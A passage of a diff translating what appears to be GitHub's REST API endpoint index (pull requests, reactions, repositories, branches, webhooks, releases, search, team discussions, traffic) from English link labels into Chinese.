-* [Dismiss a review for a pull request](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
-* [Submit a review for a pull request](/rest/reference/pulls#submit-a-review-for-a-pull-request)
+* [忽略拉取请求审查](/rest/reference/pulls#dismiss-a-review-for-a-pull-request)
+* [提交拉取请求审查](/rest/reference/pulls#submit-a-review-for-a-pull-request)
 
-#### Pull Request Review Requests
+#### 拉取请求审查请求
 
-* [List requested reviewers for a pull request](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
-* [Request reviewers for a pull request](/rest/reference/pulls#request-reviewers-for-a-pull-request)
-* [Remove requested reviewers from a pull request](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
+* [列出拉取请求的请求审查者](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request)
+* [请求拉取请求的审查者](/rest/reference/pulls#request-reviewers-for-a-pull-request)
+* [删除拉取请求的请求审查者](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request)
 
-#### Pull Request Reviews
+#### 拉取请求审查
 
-* [List reviews for a pull request](/rest/reference/pulls#list-reviews-for-a-pull-request)
-* [Create a review for a pull request](/rest/reference/pulls#create-a-review-for-a-pull-request)
-* [Get a review for a pull request](/rest/reference/pulls#get-a-review-for-a-pull-request)
-* [Update a review for a pull request](/rest/reference/pulls#update-a-review-for-a-pull-request)
-* [List comments for a pull request review](/rest/reference/pulls#list-comments-for-a-pull-request-review)
+* [列出拉取请求审查](/rest/reference/pulls#list-reviews-for-a-pull-request)
+* [创建拉取请求审查](/rest/reference/pulls#create-a-review-for-a-pull-request)
+* [获取拉取请求审查](/rest/reference/pulls#get-a-review-for-a-pull-request)
+* [更新拉取请求审查](/rest/reference/pulls#update-a-review-for-a-pull-request)
+* [列出拉取请求审查的注释](/rest/reference/pulls#list-comments-for-a-pull-request-review)
 
-#### Pulls
+#### 拉取
 
-* [List pull requests](/rest/reference/pulls#list-pull-requests)
-* [Create a pull request](/rest/reference/pulls#create-a-pull-request)
-* [Get a pull request](/rest/reference/pulls#get-a-pull-request)
-* [Update a pull request](/rest/reference/pulls#update-a-pull-request)
-* [List commits on a pull request](/rest/reference/pulls#list-commits-on-a-pull-request)
-* [List pull requests files](/rest/reference/pulls#list-pull-requests-files)
-* [Check if a pull request has been merged](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
-* [Merge a pull request (Merge Button)](/rest/reference/pulls#merge-a-pull-request)
+* [列出拉取请求](/rest/reference/pulls#list-pull-requests)
+* [创建拉取请求](/rest/reference/pulls#create-a-pull-request)
+* [获取拉取请求](/rest/reference/pulls#get-a-pull-request)
+* [更新拉取请求](/rest/reference/pulls#update-a-pull-request)
+* [列出拉取请求上的提交](/rest/reference/pulls#list-commits-on-a-pull-request)
+* [列出拉取请求文件](/rest/reference/pulls#list-pull-requests-files)
+* [检查拉取请求是否已合并](/rest/reference/pulls#check-if-a-pull-request-has-been-merged)
+* [合并拉取请求（合并按钮）](/rest/reference/pulls#merge-a-pull-request)
 
-#### Reactions
+#### 反应
 
-{% ifversion fpt or ghes or ghae or ghec %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [Delete a reaction](/rest/reference/reactions#delete-a-reaction){% endif %}
-* [List reactions for a commit comment](/rest/reference/reactions#list-reactions-for-a-commit-comment)
-* [Create reaction for a commit comment](/rest/reference/reactions#create-reaction-for-a-commit-comment)
-* [List reactions for an issue](/rest/reference/reactions#list-reactions-for-an-issue)
-* [Create reaction for an issue](/rest/reference/reactions#create-reaction-for-an-issue)
-* [List reactions for an issue comment](/rest/reference/reactions#list-reactions-for-an-issue-comment)
-* [Create reaction for an issue comment](/rest/reference/reactions#create-reaction-for-an-issue-comment)
-* [List reactions for a pull request review comment](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
-* [Create reaction for a pull request review comment](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
-* [List reactions for a team discussion comment](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
-* [Create reaction for a team discussion comment](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
-* [List reactions for a team discussion](/rest/reference/reactions#list-reactions-for-a-team-discussion)
-* [Create reaction for a team discussion](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a commit comment reaction](/rest/reference/reactions#delete-a-commit-comment-reaction)
-* [Delete an issue reaction](/rest/reference/reactions#delete-an-issue-reaction)
-* [Delete a reaction to a commit comment](/rest/reference/reactions#delete-an-issue-comment-reaction)
-* [Delete a pull request comment reaction](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
-* [Delete team discussion reaction](/rest/reference/reactions#delete-team-discussion-reaction)
-* [Delete team discussion comment reaction](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
+{% ifversion fpt or ghes or ghae or ghec %}* [删除反应](/rest/reference/reactions#delete-a-reaction-legacy){% else %}* [删除反应](/rest/reference/reactions#delete-a-reaction){% endif %}
+* [列出提交注释的反应](/rest/reference/reactions#list-reactions-for-a-commit-comment)
+* [创建提交注释的反应](/rest/reference/reactions#create-reaction-for-a-commit-comment)
+* [列出议题的反应](/rest/reference/reactions#list-reactions-for-an-issue)
+* [创建议题的反应](/rest/reference/reactions#create-reaction-for-an-issue)
+* [列出议题注释的反应](/rest/reference/reactions#list-reactions-for-an-issue-comment)
+* [创建议题注释的反应](/rest/reference/reactions#create-reaction-for-an-issue-comment)
+* [列出拉取请求审查注释的反应](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment)
+* [创建拉取请求审查注释的反应](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment)
+* [列出团队讨论注释的反应](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment)
+* [创建团队讨论注释的反应](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment)
+* [列出团队讨论的反应](/rest/reference/reactions#list-reactions-for-a-team-discussion)
+* [创建团队讨论的反应](/rest/reference/reactions#create-reaction-for-a-team-discussion){% ifversion fpt or ghes or ghae or ghec %}
+* [删除提交注释反应](/rest/reference/reactions#delete-a-commit-comment-reaction)
+* [删除议题反应](/rest/reference/reactions#delete-an-issue-reaction)
+* [删除对提交注释的反应](/rest/reference/reactions#delete-an-issue-comment-reaction)
+* [删除拉取请求注释反应](/rest/reference/reactions#delete-a-pull-request-comment-reaction)
+* [删除团队讨论反应](/rest/reference/reactions#delete-team-discussion-reaction)
+* [删除团队讨论注释反应](/rest/reference/reactions#delete-team-discussion-comment-reaction){% endif %}
 
-#### Repositories
+#### 仓库
 
-* [List organization repositories](/rest/reference/repos#list-organization-repositories)
-* [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
-* [Get a repository](/rest/reference/repos#get-a-repository)
-* [Update a repository](/rest/reference/repos#update-a-repository)
-* [Delete a repository](/rest/reference/repos#delete-a-repository)
-* [Compare two commits](/rest/reference/commits#compare-two-commits)
-* [List repository contributors](/rest/reference/repos#list-repository-contributors)
-* [List forks](/rest/reference/repos#list-forks)
-* [Create a fork](/rest/reference/repos#create-a-fork)
-* [List repository languages](/rest/reference/repos#list-repository-languages)
-* [List repository tags](/rest/reference/repos#list-repository-tags)
-* [List repository teams](/rest/reference/repos#list-repository-teams)
-* [Transfer a repository](/rest/reference/repos#transfer-a-repository)
-* [List public repositories](/rest/reference/repos#list-public-repositories)
-* [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user)
-* [List repositories for a user](/rest/reference/repos#list-repositories-for-a-user)
-* [Create repository using a repository template](/rest/reference/repos#create-repository-using-a-repository-template)
+* [列出组织仓库](/rest/reference/repos#list-organization-repositories)
+* [为经验证的用户创建仓库。](/rest/reference/repos#create-a-repository-for-the-authenticated-user)
+* [获取仓库](/rest/reference/repos#get-a-repository)
+* [更新仓库](/rest/reference/repos#update-a-repository)
+* [删除仓库](/rest/reference/repos#delete-a-repository)
+* [比较两个提交](/rest/reference/commits#compare-two-commits)
+* [列出仓库贡献者](/rest/reference/repos#list-repository-contributors)
+* [列出复刻](/rest/reference/repos#list-forks)
+* [创建复刻](/rest/reference/repos#create-a-fork)
+* [列出仓库语言](/rest/reference/repos#list-repository-languages)
+* [列出仓库标记](/rest/reference/repos#list-repository-tags)
+* [列出仓库团队](/rest/reference/repos#list-repository-teams)
+* [转让仓库](/rest/reference/repos#transfer-a-repository)
+* [列出公共仓库](/rest/reference/repos#list-public-repositories)
+* [列出经验证用户的仓库](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+* [列出用户的仓库](/rest/reference/repos#list-repositories-for-a-user)
+* [使用仓库模板创建仓库](/rest/reference/repos#create-repository-using-a-repository-template)
 
-#### Repository Activity
+#### 仓库活动
 
-* [List stargazers](/rest/reference/activity#list-stargazers)
-* [List watchers](/rest/reference/activity#list-watchers)
-* [List repositories starred by a user](/rest/reference/activity#list-repositories-starred-by-a-user)
-* [Check if a repository is starred by the authenticated user](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
-* [Star a repository for the authenticated user](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
-* [Unstar a repository for the authenticated user](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
-* [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user)
+* [列出标星者](/rest/reference/activity#list-stargazers)
+* [列出关注者](/rest/reference/activity#list-watchers)
+* [列出用户标星的仓库](/rest/reference/activity#list-repositories-starred-by-a-user)
+* [检查仓库是否被经验证用户标星](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+* [标星经验证用户的仓库](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
+* [取消标星经验证用户的仓库](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
+* [列出用户关注的仓库](/rest/reference/activity#list-repositories-watched-by-a-user)
 
 {% ifversion fpt or ghec %}
-#### Repository Automated Security Fixes
+#### 仓库自动安全修复
 
-* [Enable automated security fixes](/rest/reference/repos#enable-automated-security-fixes)
-* [Disable automated security fixes](/rest/reference/repos#disable-automated-security-fixes)
+* [启用自动安全修复](/rest/reference/repos#enable-automated-security-fixes)
+* [禁用自动安全修复](/rest/reference/repos#disable-automated-security-fixes)
 {% endif %}
 
-#### Repository Branches
+#### 仓库分支
 
-* [List branches](/rest/reference/branches#list-branches)
-* [Get a branch](/rest/reference/branches#get-a-branch)
-* [Get branch protection](/rest/reference/branches#get-branch-protection)
-* [Update branch protection](/rest/reference/branches#update-branch-protection)
-* [Delete branch protection](/rest/reference/branches#delete-branch-protection)
-* [Get admin branch protection](/rest/reference/branches#get-admin-branch-protection)
-* [Set admin branch protection](/rest/reference/branches#set-admin-branch-protection)
-* [Delete admin branch protection](/rest/reference/branches#delete-admin-branch-protection)
-* [Get pull request review protection](/rest/reference/branches#get-pull-request-review-protection)
-* [Update pull request review protection](/rest/reference/branches#update-pull-request-review-protection)
-* [Delete pull request review protection](/rest/reference/branches#delete-pull-request-review-protection)
-* [Get commit signature protection](/rest/reference/branches#get-commit-signature-protection)
-* [Create commit signature protection](/rest/reference/branches#create-commit-signature-protection)
-* [Delete commit signature protection](/rest/reference/branches#delete-commit-signature-protection)
-* [Get status checks protection](/rest/reference/branches#get-status-checks-protection)
-* [Update status check protection](/rest/reference/branches#update-status-check-protection)
-* [Remove status check protection](/rest/reference/branches#remove-status-check-protection)
-* [Get all status check contexts](/rest/reference/branches#get-all-status-check-contexts)
-* [Add status check contexts](/rest/reference/branches#add-status-check-contexts)
-* [Set status check contexts](/rest/reference/branches#set-status-check-contexts)
-* [Remove status check contexts](/rest/reference/branches#remove-status-check-contexts)
-* [Get access restrictions](/rest/reference/branches#get-access-restrictions)
-* [Delete access restrictions](/rest/reference/branches#delete-access-restrictions)
-* [List teams with access to the protected branch](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
-* [Add team access restrictions](/rest/reference/branches#add-team-access-restrictions)
-* [Set team access restrictions](/rest/reference/branches#set-team-access-restrictions)
-* [Remove team access restriction](/rest/reference/branches#remove-team-access-restrictions)
-* [List user restrictions of protected branch](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
-* [Add user access restrictions](/rest/reference/branches#add-user-access-restrictions)
-* [Set user access restrictions](/rest/reference/branches#set-user-access-restrictions)
-* [Remove user access restrictions](/rest/reference/branches#remove-user-access-restrictions)
-* [Merge a branch](/rest/reference/branches#merge-a-branch)
+* [列出分支](/rest/reference/branches#list-branches)
+* [获取分支](/rest/reference/branches#get-a-branch)
+* [获取分支保护](/rest/reference/branches#get-branch-protection)
+* [更新分支保护](/rest/reference/branches#update-branch-protection)
+* [删除分支保护](/rest/reference/branches#delete-branch-protection)
+* [获取管理员分支保护](/rest/reference/branches#get-admin-branch-protection)
+* [设置管理员分支保护](/rest/reference/branches#set-admin-branch-protection)
+* [删除管理员分支保护](/rest/reference/branches#delete-admin-branch-protection)
+* [获取拉取请求审查保护](/rest/reference/branches#get-pull-request-review-protection)
+* [更新拉取请求审查保护](/rest/reference/branches#update-pull-request-review-protection)
+* [删除拉取请求审查保护](/rest/reference/branches#delete-pull-request-review-protection)
+* [获取提交签名保护](/rest/reference/branches#get-commit-signature-protection)
+* [创建提交签名保护](/rest/reference/branches#create-commit-signature-protection)
+* [删除提交签名保护](/rest/reference/branches#delete-commit-signature-protection)
+* [获取状态检查保护](/rest/reference/branches#get-status-checks-protection)
+* [更新状态检查保护](/rest/reference/branches#update-status-check-protection)
+* [删除状态检查保护](/rest/reference/branches#remove-status-check-protection)
+* [获取所有状态检查上下文](/rest/reference/branches#get-all-status-check-contexts)
+* [添加状态检查上下文](/rest/reference/branches#add-status-check-contexts)
+* [设置状态检查上下文](/rest/reference/branches#set-status-check-contexts)
+* [删除状态检查上下文](/rest/reference/branches#remove-status-check-contexts)
+* [获取访问限制](/rest/reference/branches#get-access-restrictions)
+* [删除访问限制](/rest/reference/branches#delete-access-restrictions)
+* [列出有权访问受保护分支的团队](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
+* [添加团队访问限制](/rest/reference/branches#add-team-access-restrictions)
+* [设置团队访问限制](/rest/reference/branches#set-team-access-restrictions)
+* [删除团队访问限制](/rest/reference/branches#remove-team-access-restrictions)
+* [列出受保护分支的用户限制](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
+* [添加用户访问限制](/rest/reference/branches#add-user-access-restrictions)
+* [设置用户访问限制](/rest/reference/branches#set-user-access-restrictions)
+* [删除用户访问限制](/rest/reference/branches#remove-user-access-restrictions)
+* [合并分支](/rest/reference/branches#merge-a-branch)
 
-#### Repository Collaborators
+#### 仓库协作者
 
-* [List repository collaborators](/rest/reference/collaborators#list-repository-collaborators)
-* [Check if a user is a repository collaborator](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
-* [Add a repository collaborator](/rest/reference/collaborators#add-a-repository-collaborator)
-* [Remove a repository collaborator](/rest/reference/collaborators#remove-a-repository-collaborator)
-* [Get repository permissions for a user](/rest/reference/collaborators#get-repository-permissions-for-a-user)
+* [列出仓库协作者](/rest/reference/collaborators#list-repository-collaborators)
+* [检查用户是否为仓库协作者](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
+* [添加仓库协作者](/rest/reference/collaborators#add-a-repository-collaborator)
+* [删除仓库协作者](/rest/reference/collaborators#remove-a-repository-collaborator)
+* [获取用户的仓库权限](/rest/reference/collaborators#get-repository-permissions-for-a-user)
 
-#### Repository Commit Comments
+#### 仓库提交注释
 
-* [List commit comments for a repository](/rest/reference/commits#list-commit-comments-for-a-repository)
-* [Get a commit comment](/rest/reference/commits#get-a-commit-comment)
-* [Update a commit comment](/rest/reference/commits#update-a-commit-comment)
-* [Delete a commit comment](/rest/reference/commits#delete-a-commit-comment)
-* [List commit comments](/rest/reference/commits#list-commit-comments)
-* [Create a commit comment](/rest/reference/commits#create-a-commit-comment)
+* [列出仓库的提交注释](/rest/reference/commits#list-commit-comments-for-a-repository)
+* [获取提交注释](/rest/reference/commits#get-a-commit-comment)
+* [更新提交注释](/rest/reference/commits#update-a-commit-comment)
+* [删除提交注释](/rest/reference/commits#delete-a-commit-comment)
+* [列出提交注释](/rest/reference/commits#list-commit-comments)
+* [创建提交注释](/rest/reference/commits#create-a-commit-comment)
 
-#### Repository Commits
+#### 仓库提交
 
-* [List commits](/rest/reference/commits#list-commits)
-* [Get a commit](/rest/reference/commits#get-a-commit)
-* [List branches for head commit](/rest/reference/commits#list-branches-for-head-commit)
-* [List pull requests associated with commit](/rest/reference/repos#list-pull-requests-associated-with-commit)
+* [列出提交](/rest/reference/commits#list-commits)
+* [获取提交](/rest/reference/commits#get-a-commit)
+* [列出头部提交分支](/rest/reference/commits#list-branches-for-head-commit)
+* [列出与提交关联的拉取请求](/rest/reference/repos#list-pull-requests-associated-with-commit)
 
-#### Repository Community
+#### 仓库社区
 
-* [Get the code of conduct for a repository](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
+* [获取仓库的行为准则](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
 {% ifversion fpt or ghec %}
-* [Get community profile metrics](/rest/reference/repository-metrics#get-community-profile-metrics)
+* [获取社区资料指标](/rest/reference/repository-metrics#get-community-profile-metrics)
 {% endif %}
 
-#### Repository Contents
+#### 仓库内容
 
-* [Download a repository archive](/rest/reference/repos#download-a-repository-archive)
-* [Get repository content](/rest/reference/repos#get-repository-content)
-* [Create or update file contents](/rest/reference/repos#create-or-update-file-contents)
-* [Delete a file](/rest/reference/repos#delete-a-file)
-* [Get a repository README](/rest/reference/repos#get-a-repository-readme)
-* [Get the license for a repository](/rest/reference/licenses#get-the-license-for-a-repository)
+* [下载仓库存档](/rest/reference/repos#download-a-repository-archive)
+* [获取仓库内容](/rest/reference/repos#get-repository-content)
+* [创建或更新文件内容](/rest/reference/repos#create-or-update-file-contents)
+* [删除文件](/rest/reference/repos#delete-a-file)
+* [获取仓库自述文件](/rest/reference/repos#get-a-repository-readme)
+* [获取仓库许可](/rest/reference/licenses#get-the-license-for-a-repository)
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Repository Event Dispatches
+#### 仓库事件调度
 
-* [Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)
+* [创建仓库调度事件](/rest/reference/repos#create-a-repository-dispatch-event)
 {% endif %}
 
-#### Repository Hooks
+#### 仓库挂钩
 
-* [List repository webhooks](/rest/reference/webhooks#list-repository-webhooks)
-* [Create a repository webhook](/rest/reference/webhooks#create-a-repository-webhook)
-* [Get a repository webhook](/rest/reference/webhooks#get-a-repository-webhook)
-* [Update a repository webhook](/rest/reference/webhooks#update-a-repository-webhook)
-* [Delete a repository webhook](/rest/reference/webhooks#delete-a-repository-webhook)
-* [Ping a repository webhook](/rest/reference/webhooks#ping-a-repository-webhook)
-* [Test the push repository webhook](/rest/reference/repos#test-the-push-repository-webhook)
+* [列出仓库 web 挂钩](/rest/reference/webhooks#list-repository-webhooks)
+* [创建仓库 web 挂钩](/rest/reference/webhooks#create-a-repository-webhook)
+* [获取仓库 web 挂钩](/rest/reference/webhooks#get-a-repository-webhook)
+* [更新仓库 web 挂钩](/rest/reference/webhooks#update-a-repository-webhook)
+* [删除仓库 web 挂钩](/rest/reference/webhooks#delete-a-repository-webhook)
+* [Ping 仓库 web 挂钩](/rest/reference/webhooks#ping-a-repository-webhook)
+* [测试推送仓库 web 挂钩](/rest/reference/repos#test-the-push-repository-webhook)
 
-#### Repository Invitations
+#### 仓库邀请
 
-* [List repository invitations](/rest/reference/collaborators#list-repository-invitations)
-* [Update a repository invitation](/rest/reference/collaborators#update-a-repository-invitation)
-* [Delete a repository invitation](/rest/reference/collaborators#delete-a-repository-invitation)
-* [List repository invitations for the authenticated user](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
-* [Accept a repository invitation](/rest/reference/collaborators#accept-a-repository-invitation)
-* [Decline a repository invitation](/rest/reference/collaborators#decline-a-repository-invitation)
+* [列出仓库邀请](/rest/reference/collaborators#list-repository-invitations)
+* [更新仓库邀请](/rest/reference/collaborators#update-a-repository-invitation)
+* [删除仓库邀请](/rest/reference/collaborators#delete-a-repository-invitation)
+* [列出经验证用户的仓库邀请](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
+* [接受仓库邀请](/rest/reference/collaborators#accept-a-repository-invitation)
+* [拒绝仓库邀请](/rest/reference/collaborators#decline-a-repository-invitation)
 
-#### Repository Keys
+#### 仓库密钥
 
-* [List deploy keys](/rest/reference/deployments#list-deploy-keys)
-* [Create a deploy key](/rest/reference/deployments#create-a-deploy-key)
-* [Get a deploy key](/rest/reference/deployments#get-a-deploy-key)
-* [Delete a deploy key](/rest/reference/deployments#delete-a-deploy-key)
+* [列出部署密钥](/rest/reference/deployments#list-deploy-keys)
+* [创建部署密钥](/rest/reference/deployments#create-a-deploy-key)
+* [获取部署密钥](/rest/reference/deployments#get-a-deploy-key)
+* [删除部署密钥](/rest/reference/deployments#delete-a-deploy-key)
 
-#### Repository Pages
+#### 仓库页面
 
-* [Get a GitHub Pages site](/rest/reference/pages#get-a-github-pages-site)
-* [Create a GitHub Pages site](/rest/reference/pages#create-a-github-pages-site)
-* [Update information about a GitHub Pages site](/rest/reference/pages#update-information-about-a-github-pages-site)
-* [Delete a GitHub Pages site](/rest/reference/pages#delete-a-github-pages-site)
-* [List GitHub Pages builds](/rest/reference/pages#list-github-pages-builds)
-* [Request a GitHub Pages build](/rest/reference/pages#request-a-github-pages-build)
-* [Get GitHub Pages build](/rest/reference/pages#get-github-pages-build)
-* [Get latest pages build](/rest/reference/pages#get-latest-pages-build)
+* [获取 GitHub Pages 站点](/rest/reference/pages#get-a-github-pages-site)
+* [创建 GitHub Pages 站点](/rest/reference/pages#create-a-github-pages-site)
+* [更新关于 GitHub Pages 站点的信息](/rest/reference/pages#update-information-about-a-github-pages-site)
+* [删除 GitHub Pages 站点](/rest/reference/pages#delete-a-github-pages-site)
+* [列出 GitHub Pages 构建](/rest/reference/pages#list-github-pages-builds)
+* [请求 GitHub Pages 构建](/rest/reference/pages#request-a-github-pages-build)
+* [获取 GitHub Pages 构建](/rest/reference/pages#get-github-pages-build)
+* [获取最新页面构建](/rest/reference/pages#get-latest-pages-build)
 
 {% ifversion ghes %}
-#### Repository Pre Receive Hooks
+#### 仓库预接收挂钩
 
-* [List pre-receive hooks for a repository](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
-* [Get a pre-receive hook for a repository](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
-* [Update pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
-* [Remove pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
+* [列出仓库的预接收挂钩](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
+* [获取仓库的预接收挂钩](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
+* [更新仓库的预接收挂钩实施](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
+* [删除仓库的预接收挂钩实施](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
 {% endif %}
 
-#### Repository Releases
+#### 仓库发行版
 
-* [List releases](/rest/reference/repos/#list-releases)
-* [Create a release](/rest/reference/repos/#create-a-release)
-* [Get a release](/rest/reference/repos/#get-a-release)
-* [Update a release](/rest/reference/repos/#update-a-release)
-* [Delete a release](/rest/reference/repos/#delete-a-release)
-* [List release assets](/rest/reference/repos/#list-release-assets)
-* [Get a release asset](/rest/reference/repos/#get-a-release-asset)
-* [Update a release asset](/rest/reference/repos/#update-a-release-asset)
-* [Delete a release asset](/rest/reference/repos/#delete-a-release-asset)
-* [Get the latest release](/rest/reference/repos/#get-the-latest-release)
-* [Get a release by tag name](/rest/reference/repos/#get-a-release-by-tag-name)
+* [列出发行版](/rest/reference/repos/#list-releases)
+* [创建发行版](/rest/reference/repos/#create-a-release)
+* [获取发行版](/rest/reference/repos/#get-a-release)
+* [更新发行版](/rest/reference/repos/#update-a-release)
+* [删除发行版](/rest/reference/repos/#delete-a-release)
+* [列出发行版资产](/rest/reference/repos/#list-release-assets)
+* [获取发行版资产](/rest/reference/repos/#get-a-release-asset)
+* [更新发行版资产](/rest/reference/repos/#update-a-release-asset)
+* [删除发行版资产](/rest/reference/repos/#delete-a-release-asset)
+* [获取最新发行版](/rest/reference/repos/#get-the-latest-release)
+* [按标记名称获取发行版](/rest/reference/repos/#get-a-release-by-tag-name)
 
-#### Repository Stats
+#### 仓库统计
 
-* [Get the weekly commit activity](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
-* [Get the last year of commit activity](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
-* [Get all contributor commit activity](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
-* [Get the weekly commit count](/rest/reference/repository-metrics#get-the-weekly-commit-count)
-* [Get the hourly commit count for each day](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
+* [获取每周提交活动](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+* [获取最近一年的提交活动](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+* [获取所有参与者提交活动](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+* [获取每周提交计数](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+* [获取每天的每小时提交计数](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
 
 {% ifversion fpt or ghec %}
-#### Repository Vulnerability Alerts
+#### 仓库漏洞警报
 
-* [Enable vulnerability alerts](/rest/reference/repos#enable-vulnerability-alerts)
-* [Disable vulnerability alerts](/rest/reference/repos#disable-vulnerability-alerts)
+* [启用漏洞警报](/rest/reference/repos#enable-vulnerability-alerts)
+* [禁用漏洞警报](/rest/reference/repos#disable-vulnerability-alerts)
 {% endif %}
 
-#### Root
+#### 根
 
-* [Root endpoint](/rest#root-endpoint)
-* [Emojis](/rest/reference/emojis#emojis)
-* [Get rate limit status for the authenticated user](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+* [根端点](/rest#root-endpoint)
+* [表情符号](/rest/reference/emojis#emojis)
+* [获取经验证用户的速率限制状态](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
 
-#### Search
+#### 搜索
 
-* [Search code](/rest/reference/search#search-code)
-* [Search commits](/rest/reference/search#search-commits)
-* [Search labels](/rest/reference/search#search-labels)
-* [Search repositories](/rest/reference/search#search-repositories)
-* [Search topics](/rest/reference/search#search-topics)
-* [Search users](/rest/reference/search#search-users)
+* [搜索代码](/rest/reference/search#search-code)
+* [搜索提交](/rest/reference/search#search-commits)
+* [搜索标签](/rest/reference/search#search-labels)
+* [搜索仓库](/rest/reference/search#search-repositories)
+* [搜索主题](/rest/reference/search#search-topics)
+* [搜索用户](/rest/reference/search#search-users)
 
-#### Statuses
+#### 状态
 
-* [Get the combined status for a specific reference](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
-* [List commit statuses for a reference](/rest/reference/commits#list-commit-statuses-for-a-reference)
-* [Create a commit status](/rest/reference/commits#create-a-commit-status)
+* [获取特定引用的组合状态](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
+* [列出引用的提交状态](/rest/reference/commits#list-commit-statuses-for-a-reference)
+* [创建提交状态](/rest/reference/commits#create-a-commit-status)
 
-#### Team Discussions
+#### 团队讨论
 
-* [List discussions](/rest/reference/teams#list-discussions)
-* [Create a discussion](/rest/reference/teams#create-a-discussion)
-* [Get a discussion](/rest/reference/teams#get-a-discussion)
-* [Update a discussion](/rest/reference/teams#update-a-discussion)
-* [Delete a discussion](/rest/reference/teams#delete-a-discussion)
-* [List discussion comments](/rest/reference/teams#list-discussion-comments)
-* [Create a discussion comment](/rest/reference/teams#create-a-discussion-comment)
-* [Get a discussion comment](/rest/reference/teams#get-a-discussion-comment)
-* [Update a discussion comment](/rest/reference/teams#update-a-discussion-comment)
-* [Delete a discussion comment](/rest/reference/teams#delete-a-discussion-comment)
+* [列出讨论](/rest/reference/teams#list-discussions)
+* [创建讨论](/rest/reference/teams#create-a-discussion)
+* [获取讨论](/rest/reference/teams#get-a-discussion)
+* [更新讨论](/rest/reference/teams#update-a-discussion)
+* [删除讨论](/rest/reference/teams#delete-a-discussion)
+* [列出讨论注释](/rest/reference/teams#list-discussion-comments)
+* [创建讨论注释](/rest/reference/teams#create-a-discussion-comment)
+* [获取讨论注释](/rest/reference/teams#get-a-discussion-comment)
+* [更新讨论注释](/rest/reference/teams#update-a-discussion-comment)
+* [删除讨论注释](/rest/reference/teams#delete-a-discussion-comment)
 
-#### Topics
+#### 主题
 
-* [Get all repository topics](/rest/reference/repos#get-all-repository-topics)
-* [Replace all repository topics](/rest/reference/repos#replace-all-repository-topics)
+* [获取所有仓库主题](/rest/reference/repos#get-all-repository-topics)
+* [替换所有仓库主题](/rest/reference/repos#replace-all-repository-topics)
 
 {% ifversion fpt or ghec %}
-#### Traffic
+#### 流量
 
-* [Get repository clones](/rest/reference/repository-metrics#get-repository-clones)
-* [Get top referral paths](/rest/reference/repository-metrics#get-top-referral-paths)
-* [Get top referral sources](/rest/reference/repository-metrics#get-top-referral-sources)
-* [Get page views](/rest/reference/repository-metrics#get-page-views)
+* [获取仓库克隆](/rest/reference/repository-metrics#get-repository-clones)
+* [获取主要推荐途径](/rest/reference/repository-metrics#get-top-referral-paths)
+* [获取主要推荐来源](/rest/reference/repository-metrics#get-top-referral-sources)
